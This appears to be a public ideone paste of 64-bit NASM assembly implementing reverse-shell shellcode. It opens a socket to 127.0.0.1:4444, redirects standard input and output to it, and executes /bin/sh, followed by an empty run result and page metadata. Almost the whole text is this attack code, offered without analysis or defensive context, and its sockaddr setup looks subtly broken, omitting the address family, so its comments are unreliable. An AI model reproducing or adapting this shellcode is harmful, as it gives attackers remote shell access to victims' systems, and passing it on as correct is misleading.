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  1. section .data
  2.     ip_address db 127,0,0,1    ; IP address: 127.0.0.1
  3.     port dw 0x5c11             ; Port: 4444 (0x115c in little endian)
  4.  
  5. section .text
  6.     global _start
  7.  
  8. _start:
  9.     ; socket(AF_INET, SOCK_STREAM, 0)
  10.     mov rax, 41                ; syscall: socket
  11.     mov rdi, 2                 ; AF_INET
  12.     mov rsi, 1                 ; SOCK_STREAM
  13.     xor rdx, rdx               ; Protocol 0
  14.     syscall
  15.  
  16.     mov rdi, rax               ; Save socket descriptor
  17.  
  18.     ; Prepare sockaddr_in structure
  19.     ; struct sockaddr_in {
  20.     ;     short sin_family;    // AF_INET
  21.     ;     unsigned short sin_port;  // Port number
  22.     ;     struct in_addr sin_addr;  // IP address
  23.     ;     char sin_zero[8];
  24.     ; };
  25.     push rdx                   ; sin_zero
  26.     mov rbx, 0x0100007f        ; 127.0.0.1 in hex
  27.     shl rbx, 16
  28.     mov bx, 0x5c11             ; Port 4444
  29.     push rbx
  30.     mov rsi, rsp               ; Pointer to sockaddr_in
  31.  
  32.     ; connect(socket, sockaddr_in, 16)
  33.     mov rax, 42                ; syscall: connect
  34.     mov rdx, 16                ; Size of sockaddr_in
  35.     syscall
  36.  
  37.     ; Duplicate socket descriptor to stdin, stdout, stderr
  38.     mov rsi, 0
  39. .dup_loop:
  40.     mov rax, 33                ; syscall: dup2
  41.     mov rdi, rdi               ; Socket descriptor
  42.     syscall
  43.     inc rsi
  44.     cmp rsi, 3
  45.     jl .dup_loop
  46.  
  47.     ; execve("/bin/sh", NULL, NULL)
  48.     xor rdx, rdx               ; NULL
  49.     push rdx
  50.     mov rbx, 0x68732f6e69622f2f
  51.     push rbx
  52.     mov rdi, rsp               ; Pointer to "/bin/sh"
  53.     push rdx
  54.     push rdi
  55.     mov rsi, rsp               ; argv
  56.     mov rax, 59                ; syscall: execve
  57.     syscall
Success #stdin #stdout 0.01s 5308KB
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Standard output is empty
https://ideone.com/cdDcvu
language:
Assembler 64bit (nasm 2.14)
created:
9 days ago
visibility:
public

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